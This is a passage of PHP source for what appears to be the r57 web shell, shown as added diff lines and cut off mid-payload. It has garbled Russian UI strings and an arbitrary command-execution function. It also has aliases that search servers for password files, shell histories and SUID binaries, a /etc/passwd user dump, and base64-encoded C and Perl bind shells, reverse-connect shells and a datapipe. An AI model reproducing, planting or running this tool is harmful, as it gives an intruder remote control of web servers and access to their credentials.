????????', +'ru_butt6' =>'???????', +'ru_text30'=>'???????? ?????', +'ru_butt7' =>'???????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', +'ru_butt8' =>'?????????', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'???? . ???????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_butt9' =>'????', +'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_butt12'=>'?????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_butt13'=>'???????/???????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +'ru_text86'=>'?????????? ????? ? ???????', +'ru_butt14'=>'???????', +'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????', +'ru_text88'=>'FTP-??????:????', +'ru_text89'=>'???? ?? ftp ???????', +'ru_text90'=>'????? ????????', +'ru_text91'=>'???????????? ?', +'ru_text92'=>'??? ?????????', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-????????', +'ru_text95'=>'?????? ?????????????', +'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', +'ru_text97'=>'????????? ??????????: ', +'ru_text98'=>'??????? ???????????: ', +'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', +'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', +'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', +'ru_text102'=>'?????', +'ru_text103'=>'???????? ??????', +'ru_text104'=>'???????? ????? ?? ???????? ????', +'ru_text105'=>'????', +'ru_text106'=>'??', +'ru_text107'=>'????', +'ru_butt15'=>'?????????', +'ru_text108'=>'????? ??????', +'ru_text109'=>'????????', +'ru_text110'=>'??????????', +'ru_text111'=>'SQL-?????? : ????', +'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail', +'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list', +'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body', +'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()', +'ru_text116'=>'?????????? ????', +'ru_text117'=>'?', +'ru_text118'=>'???? ??????????', +'ru_text119'=>'?? ??????? ??????????? ????', +'ru_err0'=>'??????! ?? ???? ???????? ? ???? ', +'ru_err1'=>'??????! ?? ???? ????????? ???? ', +'ru_err2'=>'??????! ?? ??????? ??????? ', +'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????', +'ru_err4'=>'?????? ??????????? ?? ftp ???????', +'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????', +'ru_err6'=>'??????! ?? ??????? ????????? ??????', +'ru_err7'=>'?????? ??????????', +/* --------------------------------------------------------------- */ +'eng_text1' =>' ', +'eng_text2' =>' ', +'eng_text3' =>' ', +'eng_text4' =>' ', +'eng_text5' =>' ', +'eng_text6' =>' ', +'eng_text7' =>' ', +'eng_text8' =>' ', +'eng_butt1' =>'', +'eng_butt2' =>'', +'eng_text9' =>' /bin/bash', +'eng_text10'=>'', +'eng_text11'=>' ', +'eng_butt3' =>'', +'eng_text12'=>' ', +'eng_text13'=>' ', +'eng_text14'=>'', +'eng_butt4' =>'', +'eng_text15'=>' ', +'eng_text16'=>' ', +'eng_text17'=>' ', +'eng_text18'=>' ', +'eng_text19'=>'Exploits', +'eng_text20'=>'', +'eng_text21'=>'&nbsp; ', +'eng_text22'=>' ', +'eng_text23'=>' ', +'eng_text24'=>' ', +'eng_text25'=>' ', +'eng_text26'=>'', +'eng_butt5' =>'', +'eng_text28'=>' ', +'eng_text29'=>' ', +'eng_butt6' =>'', +'eng_text30'=>' ', +'eng_butt7' =>'', +'eng_text31'=>' ', +'eng_text32'=>' php eval', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>' . ', +'eng_text37'=>' ', +'eng_text38'=>' ', +'eng_text39'=>'', +'eng_text40'=>' ', +'eng_butt9' =>'', +'eng_text41'=>' ', +'eng_text42'=>' ', +'eng_text43'=>' ', +'eng_butt10'=>'', +'eng_text44'=>' ', +'eng_text45'=>' ', +'eng_text46'=>' phpinfo()', +'eng_text47'=>' php.ini', +'eng_text48'=>' temp', +'eng_butt11'=>' ', +'eng_text49'=>' ', +'eng_text50'=>' ', +'eng_text51'=>' ', +'eng_text52'=>' ', +'eng_text53'=>' ', +'eng_text54'=>' ', +'eng_butt12'=>'', +'eng_text55'=>' ', +'eng_text56'=>' :(', +'eng_text57'=>'/ /', +'eng_text58'=>'', +'eng_text59'=>'', +'eng_text60'=>'', +'eng_butt13'=>' /', +'eng_text61'=>' ', +'eng_text62'=>' ', +'eng_text63'=>' ', +'eng_text64'=>' ', +'eng_text65'=>'', +'eng_text66'=>'', +'eng_text67'=>'//', +'eng_text68'=>'', +'eng_text69'=>' ', +'eng_text70'=>'', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>' ', +'eng_text73'=>' ', +'eng_text74'=>' ', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>' find', +'eng_text80'=>'', +'eng_text81'=>'', +'eng_text82'=>' ', +'eng_text83'=>' ', +'eng_text84'=>' ', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>' ', +'eng_butt14'=>'', +'eng_text87'=>' ', +'eng_text88'=>' :', +'eng_text89'=>' ', +'eng_text90'=>' ', +'eng_text91'=>'', +'eng_text92'=>' ', +'eng_text93'=>' ', +'eng_text94'=>' ', +'eng_text95'=>' ', +'eng_text96'=>' ', +'eng_text97'=>' : ', +'eng_text98'=>' : ', +'eng_text99'=>'* /etc/passwd ftp', +'eng_text100'=>' ', +'eng_text101'=>' ', +'eng_text102'=>' ', +'eng_text103'=>' ', +'eng_text104'=>' ', +'eng_text105'=>'', +'eng_text106'=>'', +'eng_text107'=>'', +'eng_butt15'=>'', +'eng_text108'=>'', +'eng_text109'=>'', +'eng_text110'=>'', +'eng_text111'=>' : ', +'eng_text112'=>' mb_send_mail', +'eng_text113'=>' via imap_list', +'eng_text114'=>' via imap_body', +'eng_text115'=>' compress.zlib://', +'eng_text116'=>' ', +'eng_text117'=>'', +'eng_text118'=>' ', +'eng_text119'=>' ', +'eng_err0'=>' ! ', +'eng_err1'=>' ! ', +'eng_err2'=>'! ', +'eng_err3'=>'! ', +'eng_err4'=>' ! ', +'eng_err5'=>' ! ', +'eng_err6'=>' ! ', +'eng_err7'=>' ', +'eng_text200'=>' copy()', +'eng_text202'=>' ', +'eng_text300'=>' curl()', +'eng_text302'=>' ', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +' suid'=>'find / -type f -perm -04000 -ls', +' suid '=>'find . -type f -perm -04000 -ls', +' suid'=>'find / -type f -perm -02000 -ls', +' suid '=>'find . -type f -perm -02000 -ls', +' config.inc.php'=>'find / -type f -name config.inc.php', +' config.inc.php '=>'find . -type f -name config.inc.php', +' config* '=>'find / -type f -name "config*"', +' config* '=>'find . -type f -name "config*"', +' '=>'find / -type f -perm -2 -ls', +' '=>'find . -type f -perm -2 -ls', +' '=>'find / -type d -perm -2 -ls', +' '=>'find . -type d -perm -2 -ls', +' '=>'find / -perm -2 -ls', +' '=>'find . -perm -2 -ls', +' service.pwd'=>'find / -type f -name service.pwd', +' service.pwd '=>'find . -type f -name service.pwd', +' .htpasswd'=>'find / -type f -name .htpasswd', +' '=>'find . -type f -name .htpasswd', +' .bash_history'=>'find / -type f -name .bash_history', +' .bash_history '=>'find . -type f -name .bash_history', +' .mysql_history'=>'find / -type f -name .mysql_history', +' .mysql_history '=>'find . -type f -name .mysql_history', +' .fetchmailrc'=>'find / -type f -name .fetchmailrc', +' .fetchmailrc '=>'find . -type f -name .fetchmailrc', +' '=>'lsattr -va', +' '=>'netstat -an | grep -i listen', +' '=>'cat /etc/fstab', +' '=>'cat /var/cpanel/accounting.log', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#000000><font face=tahoma size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Webdings color=gray>4</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=tahoma size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $unix = 0; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=tahoma size=-2><b>".ws(3); + $r .= (!$unix)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=tahoma size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=tahoma size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=tahoma size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +} +function perms($mode) +{ +if (!$GLOBALS['unix']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value,$checked=0) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\""; + if($checked) $ret .= " checked"; + return $ret.">"; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(0); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l 